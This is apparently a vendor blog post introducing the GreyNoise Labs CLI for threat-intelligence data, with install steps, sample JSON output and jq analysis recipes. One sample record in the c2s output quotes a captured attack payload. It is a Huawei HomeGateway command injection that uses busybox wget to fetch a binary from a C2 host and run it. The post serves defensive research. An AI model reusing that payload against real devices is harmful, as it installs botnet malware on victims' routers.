Fast-Tracking Innovation: GreyNoise Labs Experimental CLI

Introducing the GreyNoise Labs Python CLI package: a robust toolkit for advanced users seeking to maximize the potential of our experimental Labs services.

Cybersecurity data analysis is a complex and rapidly evolving landscape. To stay ahead, power users need tools that offer swift and accurate data handling. That's where the new GreyNoise Labs CLI package comes in. Crafted to optimize the parsing and manipulation of our sensor datasets, this CLI will not only expedite your process but also deliver digestible insights right at your fingertips.

Diving Into The Toolkit

The package serves as a conduit to the GreyNoise Labs API service, facilitating direct access to raw sensor data, contextual metadata, and quick prototyping utilities. This powerful Python package is your key to unlocking a simpler, more efficient interaction with our Labs API.

The GreyNoise Labs API contains the top 1% of data for all queries. However, the fluid nature of our continuous iteration and experimentation means that queries and commands can change without prior notice, and a rate limit is in place for equitable usage. While these utilities are primarily intended for us to explore new concepts and gather valuable user feedback, you're welcome to use them. We do caution against integrating them directly into production tools.

Our objective is to identify and prioritize new product features through these experimental iterations and your feedback. This exploratory process allows us to deliver features that not only cater to your specific needs, but also seamlessly integrate with our products.

For more insight into GreyNoise Labs and the work we're doing, visit our official website.

Installing ‘greynoiselabs’

The CLI installation process is straightforward:

1. Run python3 -m pip install greynoiselabs

2. Run greynoiselabs init to authenticate with Auth0 (what we use for secure authentication for your GreyNoise account) and save your credentials for future use.

As an optional step, we recommend installing jq to enhance the readability of CLI output. You can install jq with brew install jq on macOS or apt-get install jq on Ubuntu.

Quick Start Guide

Once installed, you can explore the features of the CLI by running greynoiselabs, which provides a handy usage guide.

Furthermore, you can access command-specific help using greynoiselabs <command> --help.

These commands can help you explore a variety of rich datasets released by GreyNoise Labs. Remember, the data is easily parseable with jq, which can help you extract insights and filter results to suit your specific needs. Some examples of jq usage are provided later on.

# This gives a JSON response containing data about specific source IPs.
greynoiselabs c2s | jq

{
  "source_ip": "1.2.3.4",
  "hits": 2024,
  "pervasiveness": 10,
  "c2_ips": [
    "5.6.7.8"
  ],
  "c2_domains": [],
  "payload": "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nContent-Length: 430\r\nConnection: keep-alive\r\nAccept: */*\r\nAuthorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"\r\n\r\n…$(/bin/busybox wget -g 5.6.7.8 -l /tmp/negro -r /.oKA31/bok.mips; /bin/busybox chmod 777 /tmp/negro; /tmp/negro hw.selfrep)…\r\n\r\n"
}

# This command provides insights into knocks on specific source IPs.
greynoiselabs knocks | jq
{
  "source_ip": "36.70.32.117",
  "headers": "{\"Content-Type\":[\"text/html\"],\"Expires\":[\"0\"],\"Server\":[\"uc-httpd 1.0.0\"]}",
  "apps": "[{\"app_name\":\"Apache HTTP Server\",\"version\":\"\"}]",
  "emails": [],
  "favicon_mmh3_128": "Sgqu+Vngs9hrQOzD8luitA==",
  "favicon_mmh3_32": -533084183,
  "ips": [
    "10.2.4.88",
    "10.2.2.88"
  ],
  "knock_port": 80,
  "jarm": "00000000000000000000000000000000000000000000000000000000000000",
  "last_seen": "2023-07-21T11:00:06Z",
  "last_crawled": "2023-07-22T00:14:27Z",
  "links": [],
  "title": "NETSurveillance WEB",
  "tor_exit": false
}

# This shows the most popular IPs.
greynoiselabs popular-ips | jq
{
  "ip": "143.244.50.173",
  "request_count": 916,
  "users_count": 95,
  "last_requested": "2023-07-27T23:55:17Z",
  "noise": true,
  "last_seen": "2023-07-27T23:59:11Z"
 }

# This allows you to see the noise ranking of a specific IP.
greynoiselabs noise-rank | jq
{
  "ip": "167.94.138.35",
  "noise_score": 89,
  "country_pervasiveness": "very high",
  "payload_diversity": "med",
  "port_diversity": "very high",
  "request_rate": "high",
  "sensor_pervasiveness": "very high"
}

# This uses a GPT prompt to generate different results on each run.
greynoiselabs gengnql "Show malicious results that are targeting Ukraine from Russia"

classification:malicious AND metadata.country:Russia AND destination_country:Ukraine
    metadata.country:Russia AND destination_country:Ukraine AND classification:malicious
    metadata.country_code:RU AND destination_country_code:UA AND classification:malicious
    classification:malicious AND metadata.country_code:RU AND destination_country_code:UA
    destination_country:Ukraine AND metadata.country:Russia AND classification:malicious

Advanced Usage

jq is a versatile tool for handling JSON data from the command line. Here are a few examples using the JSON outputs above that could provide some interesting insights. Note that these examples are based on the provided samples and may need to be adjusted based on the actual structure and content of your data.

Get a count of all unique C2 IPs

If you wanted to see how many unique C2 IPs exist in your dataset, you could run:

greynoiselabs c2s | \
  jq -s '[.[].c2_ips[]] | \
  unique | \
  length'
149

which retrieves all the C2 IPs (.[].c2_ips[]), finds the unique values (unique), and then counts them (length).

Identify IPs with high hit counts

If you're interested in the source IPs with high hit counts, you could use a command like:

greynoiselabs c2s | \
  jq 'select(.hits > 1000) |\
  .source_ip'
"141.98.6.31"
"194.180.49.165"
"45.88.90.149"
"59.7.196.80"
"61.78.140.229"
"211.194.241.110"
"121.185.173.56"

This filters the data to only include records where the hits are greater than 1000 (select(.hits > 1000)), and then outputs the corresponding source IPs (source_ip).

Grouping by Noise Score

If you wanted to see how many IPs fall into different categories based on their noise score, you could run:

greynoiselabs noise-rank | \
  jq -s 'group_by(.noise_score) | \
  map({noise_score: .[0].noise_score, count: length})'
[
  {
    "noise_score": 40,
    "count": 181
  },
  {
    "noise_score": 41,
    "count": 200
  },
  {
    "noise_score": 42,
    "count": 171
  }
]

This command groups the data by the noise score (group_by(.noise_score)), and then transforms it into an array with each object containing the noise score and the count of IPs with that score (map({noise_score: .[0].noise_score, count: length})).

Identify All Noiseless Popular IPs

If you wanted to see all popular IPs that are not observed by GreyNoise sensors, you could use:

greynoiselabs popular-ips | \
  jq '. | \
  select(.noise == false) | .ip'
"13.107.138.8"
"87.103.240.204"
"91.243.167.69"
"13.107.136.8"
"204.79.197.200"
"194.145.175.59"
"52.113.194.132"
"189.95.160.50"

This command filters the data to only include records where the noise is false (select(.noise == false)), and then outputs the corresponding IPs (ip).

Aggregate KnockKnock Source IPs by HTTP Title

For a glimpse into the distribution of page titles across your network traffic, use.

greynoiselabs knocks | \
  jq -s 'map(select(.title != "")) | \
  group_by(.title) | \
  map({title: .[0].title, source_ips: map(.source_ip), ip_count: length}) | \
  sort_by(-.ip_count)'
[
  {
    "title": "RouterOS router configuration page",
    "source_ips": [
      "103.155.198.235",
      "185.99.126.15",
   …
      "103.58.251.213"
    ],
    "ip_count": 81
  },
  {
    "title": "main page",
    "source_ips": [
      "220.84.204.83",
      "118.37.197.253",
     …
      "119.200.155.99"
    ],
    "ip_count": 58
  },
 …
]]

This command does the following:

• map(select(.title != "")): Filters out the objects that have an empty title.
• group_by(.title): Groups the remaining objects by their title.
• map({title: .[0].title, source_ips: map(.source_ip), ip_count: length}): Transforms the grouped data into an array of objects, each containing a title, an array of associated source IPs, and a count of those IPs (ip_count).
• sort_by(-.ip_count): Sorts the array of objects based on the ip_count in descending order.

By grouping the 'knocks' data based on the title, this updated command allows you to quickly identify which titles have the most associated source IPs. The result is sorted by the ip_count field, giving you an ordered view from most to the least associated IPs for each title.

The Power Of Data

Finally, with this, you can start to see the power of this data. The first result is a list of IPs likely running Mikrotik routers, that are scanning and crawling the internet and likely related to one or more botnets. Our knockknock dataset has a bunch of granular signature information that could be used to further identify clusters of similar IPs. We will have more on this in a future blog post.

These are just a few examples of what you can do with jq and the new GreyNoise Labs CLI output data. By adjusting these examples to your needs, you can glean a multitude of insights from your data and ours.

As we continue to evolve and expand the functionality of the GreyNoise Labs API and CLI, we are eager to hear your feedback. Your input is critical in helping us understand which features are most valuable and what other capabilities you'd like to see included.

Please don't hesitate to reach out to us with your feedback, questions, or any issues you may encounter at labs@greynoise.io. Alternatively, you can also create an issue directly on our GreyNoise Labs GitHub page. If you have ideas about ways to combine our data into a more useful view or are interested in somehow partnering with a dataset you have, please reach out.

We can't wait to see what you'll discover with the GreyNoise Labs CLI. Get started today and let us know your thoughts!

While our Labs API data is spiffy, you, too, can take advantage of our core data science-fueled threat intelligence platform to identify noise, reduce false positives, and focus on genuine threats. Sign up for GreyNoise Intelligence today and gain the edge in protecting your systems.

‍